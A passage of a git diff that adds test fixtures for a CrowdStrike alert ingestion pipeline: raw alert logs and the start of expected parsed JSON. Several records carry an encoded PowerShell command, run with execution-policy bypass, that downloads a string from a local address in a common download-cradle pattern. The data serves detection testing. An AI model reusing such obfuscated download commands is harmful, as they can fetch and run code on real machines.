ering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
+{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
+{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
+{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"}
+{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"}
+{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
new file mode 100644
index 0000000000..911cd2426c
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
@@ -0,0 +1,2033 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2023-11-03T18:00:22.328Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                    "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "alleged_filetype": "exe",
+                    "cid": "92012896127c4a948236ba7601b886b0",
+                    "cloud_indicator": false,
+                    "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
+                    "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "confidence": 10,
+                    "context_timestamp": "2023-11-03T18:00:31.000Z",
+                    "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
+                    "crawl_edge_ids": {
+                        "Sensor": [
+                            "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
+                            "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!",
+                            "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
+                            "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
+                            "N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
+                            "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
+                            "N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!",
+                            "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
+                            "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
+                            "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"
+                        ]
+                    },
+                    "crawl_vertex_ids": {
+                        "Sensor": [
+                            "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                            "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                            "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                            "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
+                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
+                            "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
+                        ]
+                    },
+                    "crawled_timestamp": "2023-11-03T19:00:23.985Z",
+                    "created_timestamp": "2023-11-03T18:01:23.995Z",
+                    "data_domains": [
+                        "Endpoint"
+                    ],
+                    "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+                    "device": {
+                        "agent_load_flags": 0,
+                        "agent_local_time": "2023-10-12T03:45:57.753Z",
+                        "agent_version": "7.04.17605.0",
+                        "bios_manufacturer": "ABC",
+                        "bios_version": "F8CN42WW(V2.05)",
+                        "cid": "92012896127c4a948236ba7601b886b0",
+                        "config_id_base": "65994763",
+                        "config_id_build": "17605",
+                        "config_id_platform": 3,
+                        "external_ip": "81.2.69.142",
+                        "first_seen": "2023-04-07T09:36:36.000Z",
+                        "groups": [
+                            "18704e21288243b58e4c76266d38caaf"
+                        ],
+                        "hostinfo": {
+                            "active_directory_dn_display": [
+                                "WinComputers",
+                                "WinComputers\\ABC"
+                            ],
+                            "domain": "ABC.LOCAL"
+                        },
+                        "hostname": "ABC709-1175",
+                        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                        "last_seen": "2023-11-03T17:51:42.000Z",
+                        "local_ip": "81.2.69.142",
+                        "mac_address": "AB-21-48-61-05-B2",
+                        "machine_domain": "ABC.LOCAL",
+                        "major_version": "10",
+                        "minor_version": "0",
+                        "modified_timestamp": "2023-11-03T17:53:43.000Z",
+                        "os_version": "Windows11",
+                        "ou": [
+                            "ABC",
+                            "WinComputers"
+                        ],
+                        "platform_id": "0",
+                        "platform_name": "Windows",
+                        "product_type": "1",
+                        "product_type_desc": "Workstation",
+                        "site_name": "Default-First-Site-Name",
+                        "status": "normal",
+                        "system_manufacturer": "LENOVO",
+                        "system_product_name": "20VE"
+                    },
+                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "grandparent_details": {
+                        "cmdline": "C:\\Windows\\system32\\userinit.exe",
+                        "filename": "userinit.exe",
+                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
+                        "local_process_id": "4328",
+                        "md5": "b07f77fd3f9828b2c9d61f8a36609741",
+                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
+                        "process_id": "392734873135",
+                        "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                        "timestamp": "2023-10-30T16:49:19.000Z",
+                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_name": "yuvraj.mahajan"
+                    },
+                    "has_script_or_module_ioc": true,
+                    "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "ioc_context": [
+                        {
+                            "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                            "ioc_source": "library_load",
+                            "ioc_type": "hash_sha256",
+                            "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "type": "module"
+                        }
+                    ],
+                    "ioc_values": [
+                        "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+                    ],
+                    "is_synthetic_quarantine_disposition": true,
+                    "local_process_id": "17076",
+                    "logon_domain": "ABSYS",
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "name": "PrewittPupAdwareSensorDetect-Lowest",
+                    "objective": "FalconDetectionMethod",
+                    "overwatch_note": "Activity Notice: OverWatch has observed XYZ",
+                    "overwatch_note_timestamp": "2025-03-01T15:31:00.000Z",
+                    "parent_details": {
+                        "cmdline": "C:\\WINDOWS\\Explorer.EXE",
+                        "filename": "explorer.exe",
+                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                        "local_process_id": "1040",
+                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                        "process_id": "392736520876",
+                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                        "timestamp": "2023-11-03T18:00:32.000Z",
+                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_name": "mohit.jha"
+                    },
+                    "parent_process_id": "392736520876",
+                    "pattern_disposition": 2176,
+                    "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
+                    "pattern_disposition_details": {
+                        "blocking_unsupported_or_disabled": false,
+                        "bootup_safeguard_enabled": false,
+                        "critical_process_disabled": false,
+                        "detect": false,
+                        "fs_operation_blocked": false,
+                        "handle_operation_downgraded": false,
+                        "inddet_mask": false,
+                        "indicator": false,
+                        "kill_action_failed": false,
+                        "kill_parent": false,
+                        "kill_process": false,
+                        "kill_subprocess": false,
+                        "operation_blocked": false,
+                        "policy_disabled": false,
+                        "process_blocked": true,
+                        "quarantine_file": true,
+                        "quarantine_machine": false,
+                        "registry_operation_blocked": false,
+                        "rooting": false,
+                        "sensor_only": false,
+                        "suspend_parent": false,
+                        "suspend_process": false
+                    },
+                    "pattern_id": "5761",
+                    "platform": "Windows",
+                    "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
+                    "process_end_time": "2023-11-03T18:00:21.000Z",
+                    "process_id": "399748687993",
+                    "process_start_time": "2023-11-03T18:00:13.000Z",
+                    "product": "epp",
+                    "quarantined_files": [
+                        {
+                            "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                            "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "state": "quarantined"
+                        }
+                    ],
+                    "rule_group_id": "1b27b7f123c44e15a13fe7f44801d123",
+                    "rule_group_name": "Windows Group",
+                    "rule_instance_created_by": "myuser@mydomain.com",
+                    "rule_instance_id": "123",
+                    "rule_instance_name": "INSTANCE-1",
+                    "rule_instance_version": "1",
+                    "scenario": "NGAV",
+                    "severity": 30,
+                    "severity_name": "low",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "show_in_ui": true,
+                    "source_products": [
+                        "FalconInsight"
+                    ],
+                    "source_vendors": [
+                        "CrowdStrike"
+                    ],
+                    "status": "new",
+                    "tactic": "MachineLearning",
+                    "tactic_id": "CSTA0004",
+                    "technique": "Adware/PUP",
+                    "technique_id": "CST0000",
+                    "timestamp": "2023-11-03T18:00:22.328Z",
+                    "tree_id": "1931778",
+                    "tree_root": "38687993",
+                    "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
+                    "type": "ldt",
+                    "updated_timestamp": "2023-11-03T19:00:23.985Z",
+                    "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "user_name": "mohit.jha"
+                }
+            },
+            "device": {
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "manufacturer": "LENOVO",
+                "model": {
+                    "name": "20VE"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                "kind": "alert",
+                "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\<H^hNG\\\"ZQ3#U3\\\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$